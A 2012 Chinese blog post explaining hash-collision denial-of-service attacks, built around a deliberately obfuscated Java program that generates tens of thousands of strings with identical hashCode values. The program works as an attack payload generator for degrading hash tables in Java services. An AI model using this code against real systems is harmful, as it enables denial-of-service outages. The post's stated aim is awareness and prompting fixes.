摘要

以代码形式，提供一种可验证的Java语言下哈希冲突字串生成方式。制造Hash冲突可引发Hashtable数据结构退化为低效链表，常用于DoS攻击。

背景及几句废话

2012年的第一篇blog，想想还是写点技术相关的。最近安全圈比较热的话题是hash algorithm collision dos attack. 截止到本文发布之时，比较优雅解决这一问题的厂商依然只是少数。为了促进这一问题得到尽快解决，我认为有必要在更大的范围内普及这一攻击的基础知识。本文主要思路以代码方式提供。如果不能保证独立运行以下代码，请绕道；如果对代码可读性有疑问，那是我故意的。

PS: JDK中关于hashCode()方法的实现，可用以下公式表达：

代码

package com.unclejoey.just4fun;

import java.math.BigDecimal;

public class HashCollision {

    private static final int i1 = 48;
    private static final int i2 = 8;
    private static final int i3 = 31;
    private static final int i4 = 60000;
    private static final long l1 = i3 -1;
    private static final long l2 = 2l << 32;
    private static final BigDecimal d1 = new BigDecimal(31);
    private static final BigDecimal d2 = d1.pow(i2);
    private static final BigDecimal d3 = new BigDecimal(l2);

	public static void main(String[] args) {
		String t = "test_string";
		for(int i=0; i<=i4; i++) {
			String s = String.valueOf(i);
            while(s.length() < 5){
            	s = "0" + s;
            }
            int hs = s.hashCode();
    		char[] r = g(hs, t.hashCode());
    		s = s.concat(new String(r));
    		if (s.hashCode() != t.hashCode()) {
    			System.err.println("NO WAY, I Couldn't be wrong...");
    			System.exit(1);
    		}
    		System.out.println(s);
		}
	}

	private static char[] g(int s, int t) {
        long hx1 = l1 * s + i1;
        BigDecimal hx2 = d2.multiply(new BigDecimal(hx1)).subtract(new BigDecimal(i1));
        BigDecimal hx3 = hx2.divide(new BigDecimal(l1));
        BigDecimal hx4 = new BigDecimal(t).subtract(hx3);
        BigDecimal b = hx4.divideToIntegralValue(d3.multiply(d3));
        long l = hx4.subtract(b).longValue();
        l = (l+l2) % l2;
        if (l < 0) l += l2;
        char[] c = new char[i2];
        int p = 0;
        while (l != 0) {
            c[p++] = (char) (l % (i3) + i1);
            l = l / i3;
        }
        int f = i2 - p;
        char[] cs = new char[i2];
        int i = 0;
        while (i < f) {
            cs[i++] = (char) i1;
        }
        while (i < i2) {
            cs[i] = c[p - i + f - 1];
            ++i;
        }
        return cs;
    }
}

建议继续学习：

1. HashMap解决hash冲突的方法    (阅读：11246)
2. 关于memcache分布式一致性hash    (阅读：10695)
3. 一致性哈希算法及其在分布式系统中的应用    (阅读：7936)
4. 分布式哈希和一致性哈希    (阅读：7666)
5. MinHash原理与应用    (阅读：5864)
6. LVS hash size解决4096个并发的问题    (阅读：5430)
7. 无锁HashMap的原理与实现    (阅读：5354)
8. 如果用户在5分钟内重复上线，就给他发警告，问如何设计？    (阅读：4874)
9. Ubuntu 下Hash校验和不符问题的解决    (阅读：4497)
10. 关于哈希map奇慢无比的原因定位    (阅读：3936)